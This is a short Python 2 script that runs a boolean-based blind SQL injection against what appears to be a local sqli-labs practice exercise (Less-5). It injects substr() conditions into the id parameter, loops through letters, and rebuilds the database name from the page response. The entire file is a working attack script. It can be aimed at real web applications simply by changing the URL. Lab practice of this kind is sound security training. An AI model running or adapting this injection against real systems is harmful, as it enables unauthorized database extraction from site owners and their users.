import urllib,urllib2

a=0
lie=[]
for n in range(1,9):
                
                for i in range(0,26):
                                strarr=["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"]
                                url="http://172.28.0.21/pentest/sqli-labs/Less-5/?id=1' and substr(database(),"+str(n)+",1)='"+strarr[i]+"'%23"
                                result=urllib2.urlopen(url)
                                res = result.read()
                                
                                info=res
                                s=info.find("You are in...")
                                if(s!=-1):
                                                a=strarr[i]
                                                lie.append(a)
                                                
                                                



new = ''.join(lie)
print (new)
